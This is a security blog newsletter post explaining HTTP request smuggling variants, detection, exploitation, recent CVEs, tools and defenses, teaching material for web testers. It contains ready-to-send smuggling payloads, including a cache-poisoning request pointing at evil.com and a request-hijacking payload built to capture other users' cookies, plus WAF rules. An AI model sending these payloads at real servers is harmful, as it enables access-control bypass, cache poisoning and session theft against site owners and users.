HTTP Request Smuggling: The Art of Confusing Web Servers

12 min read

November 30, 2025

🚧 Site Migration Notice

I've recently migrated this site from Ghost CMS to a new Astro-based frontend. While I've worked hard to ensure everything transferred correctly, some articles may contain formatting errors or broken elements.

If you spot any issues, I'd really appreciate it if you could let me know! Your feedback helps improve the site for everyone.

HTTP Request Smuggling: The Art of Confusing Web Servers

Table of contents

Contents

👋 Introduction

Hey everyone!

HTTP Request Smuggling has been on my radar since I first read James Kettle’s research at PortSwigger. The concept seemed almost too elegant. You exploit the difference in how two servers parse HTTP requests. The frontend sees one request, the backend sees two. Suddenly you’re bypassing WAFs, poisoning caches, and stealing sessions.

What makes this attack fascinating is its subtlety. You’re not exploiting a bug in the traditional sense. You’re exploiting ambiguity in how HTTP specifications are implemented. Different servers interpret the same request differently. And that discrepancy becomes your attack surface.

Here’s the thing. HTTP Request Smuggling has been around since 2005. Yet it remains “everywhere and massively under-researched” according to Kettle. In 2024 and 2025, researchers continue to find new variants affecting major platforms. Google Cloud. Apache. ASP.NET Core. Even Akamai’s own infrastructure. The attack surface keeps growing.

The worst part? Traditional security scanners often miss these vulnerabilities entirely. The requests look legitimate. The responses seem normal. But behind the scenes, you’re injecting requests that bypass every security control in the path.

In this issue, we’ll cover:

  • How HTTP parsing discrepancies create smuggling opportunities
  • CL.TE, TE.CL, and newer variants like TE.0
  • Detecting and exploiting smuggling vulnerabilities
  • Cache poisoning and session hijacking techniques
  • HTTP/2 downgrade attacks and H2C smuggling
  • Recent CVEs including the critical ASP.NET Core vulnerability
  • Defense strategies that actually work

If you’re testing web applications behind reverse proxies or CDNs, this is essential knowledge.

Let’s confuse some servers 👇

🎯 Why Request Smuggling Matters

Request smuggling attacks exploit the fundamental way HTTP connections work. When you have a frontend server (reverse proxy, load balancer, CDN) and a backend server, they need to agree on where one request ends and the next begins. If they disagree, an attacker can inject a second request that only the backend sees.

Impact:

  • Bypass Security Controls: WAFs and access controls only see the first request. The smuggled request flies under the radar.
  • Poison Web Caches: Force the cache to store malicious content for legitimate URLs.
  • Steal User Sessions: Capture other users’ requests by leaving a partial request on the connection.
  • Gain Unauthorized Access: Access admin endpoints that the frontend would normally block.

The attack works because HTTP/1.1 allows persistent connections. Multiple requests flow through the same TCP connection. If the frontend and backend disagree on request boundaries, chaos ensues.

🔍 Understanding HTTP Request Length

HTTP/1.1 provides two ways to specify request body length:

Content-Length Header

POST / HTTP/1.1
Host: target.com
Content-Length: 13

Hello, World!

The Content-Length header tells the server exactly how many bytes to read. Simple and straightforward.

Transfer-Encoding: chunked

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

b
Hello World
0

Chunked encoding sends data in pieces. Each chunk starts with its size in hexadecimal, followed by the data. A chunk of size 0 signals the end.

The Problem: What happens when a request includes both headers? The HTTP specification (RFC 7230) says Transfer-Encoding should take precedence. But not every server follows the spec.

🧨 Classic Smuggling Variants

CL.TE (Content-Length / Transfer-Encoding)

The frontend uses Content-Length. The backend uses Transfer-Encoding.

POST / HTTP/1.1
Host: target.com
Content-Length: 30
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Foo: x

What happens:

  1. Frontend sees Content-Length: 30 and forwards exactly 30 bytes
  2. Backend sees Transfer-Encoding: chunked, reads until 0\r\n\r\n
  3. Backend treats GET /admin HTTP/1.1... as the start of a new request

The smuggled request to /admin bypasses any frontend access controls.

TE.CL (Transfer-Encoding / Content-Length)

The frontend uses Transfer-Encoding. The backend uses Content-Length.

POST / HTTP/1.1
Host: target.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

What happens:

  1. Frontend sees Transfer-Encoding: chunked, reads both chunks and forwards everything
  2. Backend sees Content-Length: 3, only reads 8\r\n
  3. Backend treats SMUGGLED\r\n0\r\n\r\n as the start of a new request

The SMUGGLED text becomes interpreted as an HTTP method (which will error), but in a real attack you’d replace it with a valid request like GET /admin HTTP/1.1.

TE.TE (Transfer-Encoding / Transfer-Encoding)

Both servers support Transfer-Encoding, but one fails to parse obfuscated headers.

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked
Transfer-Encoding: x

0

GET /admin HTTP/1.1
X-Ignore: X

Obfuscation techniques:

Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked

One server processes chunked, the other ignores it. The disagreement creates the smuggling opportunity.

TE.0 (New Variant)

Discovered in 2024, this variant targets servers that ignore Transfer-Encoding entirely, treating body length as zero.

POST / HTTP/1.1
Host: target.com
Transfer-Encoding: chunked

GET /admin HTTP/1.1
Host: target.com

The frontend processes the chunked body normally. The backend ignores Transfer-Encoding and treats the request as having no body. Everything after the headers becomes a new request.

Researchers found this variant affecting thousands of Google Cloud-hosted websites.

🔬 Detecting Smuggling Vulnerabilities

Time-Based Detection

Send a request that should cause a timeout if smuggling exists.

CL.TE Detection:

POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

If vulnerable, the backend waits for the next chunk (it sees X as a malformed chunk size). The request times out.

TE.CL Detection:

POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

If vulnerable, the backend reads only 6 bytes (0\r\n\r\nX) and waits for more data based on the smuggled request.

Differential Response Detection

Send a smuggled request that alters subsequent responses.

POST / HTTP/1.1
Host: target.com
Content-Length: 40
Transfer-Encoding: chunked

0

GET /404 HTTP/1.1
Host: target.com

Follow with a normal request. If you get a 404 response for a valid URL, the smuggled /404 request was processed first.

Automated Tools

  • HTTP Request Smuggler (Burp Extension): Automated detection of smuggling vulnerabilities
  • Smuggler: Python tool for detecting request smuggling
  • http2smugl: Tests ~564 combinations of HTTP/2 smuggling techniques

🚀 Exploitation Techniques

Bypassing Security Controls

Many organizations rely on frontend servers to enforce access controls. Smuggling bypasses them entirely.

POST / HTTP/1.1
Host: target.com
Content-Length: 62
Transfer-Encoding: chunked

0

GET /admin/delete-user?id=123 HTTP/1.1
Host: target.com

The frontend allows POST /. The backend processes GET /admin/delete-user. The WAF never sees the admin request.

Cache Poisoning

Force the cache to store malicious content for legitimate URLs. For a deep dive, see Practical Web Cache Poisoning.

POST / HTTP/1.1
Host: target.com
Content-Length: 116
Transfer-Encoding: chunked

0

GET /static/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: evil.com
Foo: x

The attack:

  1. Send this request, then a normal request for a static resource
  2. The smuggled request for /static/main.js gets processed with X-Forwarded-Host: evil.com
  3. If the application uses this header to generate absolute URLs, the cached response contains references to evil.com
  4. Every user fetching /static/main.js gets the poisoned version

This turns a single smuggling vulnerability into a mass compromise.

Request Hijacking

Capture other users’ requests by leaving a partial request on the connection.

POST / HTTP/1.1
Host: target.com
Content-Length: 70
Transfer-Encoding: chunked

0

POST /log HTTP/1.1
Host: target.com
Content-Length: 400

data=

The attack:

  1. The smuggled POST /log has Content-Length: 400 but no body
  2. The next user’s request (on the same connection) gets appended as the body
  3. Their cookies, credentials, and sensitive data get logged

You’re literally stealing other users’ HTTP requests.

Web Cache Deception

Similar to cache poisoning, but targeting user-specific data. See Web Cache Deception research for background.

POST / HTTP/1.1
Host: target.com
Content-Length: 45
Transfer-Encoding: chunked

0

GET /account HTTP/1.1
Host: target.com

If the response contains user-specific data and gets cached, you can later access it from the cache.

🌐 HTTP/2 Smuggling

HTTP/2 uses binary framing and specifies message length differently. In theory, this eliminates smuggling. In practice, problems arise when HTTP/2 is downgraded to HTTP/1.1.

HTTP/2 Downgrade Attacks

Many CDNs accept HTTP/2 from clients but forward requests to backends as HTTP/1.1. This translation creates opportunities.

Injecting Transfer-Encoding:

The HTTP/2 spec says servers should strip or block Transfer-Encoding headers. But some don’t.

:method: POST
:path: /
:authority: target.com
transfer-encoding: chunked

0

GET /admin HTTP/1.1
Host: target.com

If the frontend passes transfer-encoding to the HTTP/1.1 backend, you’ve got a classic TE.CL vulnerability.

H2C Smuggling

HTTP/2 over cleartext (h2c) upgrade requests can bypass reverse proxy access controls.

GET / HTTP/1.1
Host: target.com
Upgrade: h2c
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
Connection: Upgrade, HTTP2-Settings

The attack:

  1. The proxy forwards the upgrade request to the backend
  2. The backend upgrades to HTTP/2
  3. Subsequent requests flow directly to the backend via HTTP/2
  4. These requests bypass all proxy-level controls

After the upgrade, you have a persistent HTTP/2 connection directly to the backend. The proxy only saw the initial upgrade request.

Tools:

  • h2cSmuggler: Detects and exploits h2c upgrade vulnerabilities

🛡️ Real-World CVEs

CVE-2025-55315 (ASP.NET Core) - CVSS 9.9

Microsoft’s highest severity ASP.NET Core vulnerability. Kestrel web server had parsing differences in how \r, \n, and \r\n are treated in chunk extensions.

Impact: Account takeover, code injection, SSRF

Affected: .NET 8.x and 9.x before October 2025 patches

Root cause: Chunk extension parsing allowed attackers to hide a second request within chunk metadata. See Microsoft’s detailed analysis for more.

CVE-2025-32094 (Akamai)

HTTP/1.x OPTIONS requests with Expect: 100-continue and obsolete line folding could cause parsing discrepancies between Akamai edge servers.

Status: Fixed platform-wide with no evidence of exploitation.

CVE-2024-6827 (Gunicorn)

Gunicorn 21.2.0 failed to validate Transfer-Encoding header values properly. Invalid values caused fallback to Content-Length, creating TE.CL vulnerabilities.

Impact: Cache poisoning, session hijacking, SSRF, XSS

Fixed: Version 22.0.0

CVE-2023-25690 (Apache HTTP Server)

Some mod_proxy configurations on Apache HTTP Server allow HTTP Request Smuggling when RewriteRule or ProxyPassMatch re-inserts user-supplied data into proxied requests using variable substitution.

Impact: Bypass access controls, proxy unintended URLs, cache poisoning

Affected: Apache 2.4.0 through 2.4.55

Fixed: Version 2.4.56

🛠️ Tools of the Trade

Burp Suite HTTP Request Smuggler: The essential extension for smuggling detection. Automated scanning with manual verification.

Smuggler: Command-line scanner that tests multiple techniques automatically.

http2smugl: Specialized for HTTP/2 smuggling. Tests 564 technique combinations.

h2cSmuggler: Detects and exploits H2C upgrade smuggling. Curl-like syntax for easy use.

Param Miner: Burp extension for finding hidden parameters. Useful for cache poisoning attacks.

🧪 Labs & Practice

PortSwigger Web Security Academy:

Main resource: https://portswigger.net/web-security/request-smuggling

TryHackMe:

Hack The Box:

  • Sink: Insane-rated Linux box exploiting HTTP request smuggling between HAProxy and Gunicorn (CVE-2019-18277) to steal session cookies
  • HTB Academy - HTTP Attacks: Comprehensive module covering CRLF injection, request smuggling, and HTTP/2 downgrading

🔒 Defense and Detection

Prevention

1. Use HTTP/2 End-to-End

Eliminate the translation layer. HTTP/2’s binary framing doesn’t have the same ambiguity issues.

2. Normalize Requests at the Edge

If you must downgrade to HTTP/1.1, ensure the frontend:

  • Strips ambiguous headers
  • Uses consistent body length determination
  • Rejects requests with both Content-Length and Transfer-Encoding

3. Configure Servers Consistently

Both frontend and backend should handle HTTP parsing identically. Test with the same configurations.

4. Strip Upgrade Headers

Don’t forward user-supplied Upgrade or Connection headers. Hardcode them if needed.

# Nginx: Strip upgrade headers
proxy_set_header Upgrade "";
proxy_set_header Connection "";

5. Disable HTTP/1.0 and Keep-Alive (If Possible)

Request smuggling requires persistent connections. Disabling them eliminates the attack vector but impacts performance.

Detection

Monitor for anomalies:

  • Requests with both Content-Length and Transfer-Encoding
  • Malformed Transfer-Encoding values
  • Unusual chunk sizes or chunk extensions
  • Upgrade: h2c requests from untrusted clients

Web Application Firewall rules:

# ModSecurity example
SecRule REQUEST_HEADERS:Transfer-Encoding "!^chunked$" \
    "id:1,phase:1,deny,status:400,msg:'Invalid Transfer-Encoding'"

SecRule &REQUEST_HEADERS:Content-Length "@gt 1" \
    "id:2,phase:1,deny,status:400,msg:'Multiple Content-Length headers'"

Log analysis: Look for requests where the frontend and backend logged different URLs or methods.

🎯 Key Takeaways

  • Request smuggling exploits parsing disagreements between frontend and backend servers
  • Classic variants (CL.TE, TE.CL, TE.TE) remain effective against misconfigured infrastructure
  • New variants like TE.0 continue to emerge, affecting major platforms like Google Cloud
  • HTTP/2 doesn’t eliminate the risk when downgraded to HTTP/1.1
  • H2C smuggling can bypass all proxy-level security controls
  • Cache poisoning turns a single vulnerability into mass compromise
  • Request hijacking lets you steal other users’ credentials and sessions
  • Defense requires consistency in how frontend and backend parse requests
  • Detection is difficult because smuggled requests look legitimate to individual servers

📚 Further Reading


That’s it for this week! Next issue, we’ll explore Rust Security Code Review, where we’ll analyze common vulnerability patterns in Rust code including unsafe blocks, integer overflows, panic-based DoS, and memory safety pitfalls that bypass the borrow checker.

If you’re testing web applications behind CDNs, load balancers, or reverse proxies, spend some time with the PortSwigger labs. Practice detecting CL.TE and TE.CL vulnerabilities. The techniques are subtle, but the impact is severe. And remember, scanners often miss these. Manual testing is essential.

Thanks for reading, and happy hacking 🔐

— Ruben

Chapters

File Upload Vulnerabilities: From Filter Bypass to Full System Compromise
File Upload Vulnerabilities: From Filter Bypass to Full System Compromise

Previous Issue

Enjoyed the article?

Stay Updated & Support

Get the latest offensive security insights, hacking techniques, and cybersecurity content delivered straight to your inbox.

Follow me on social media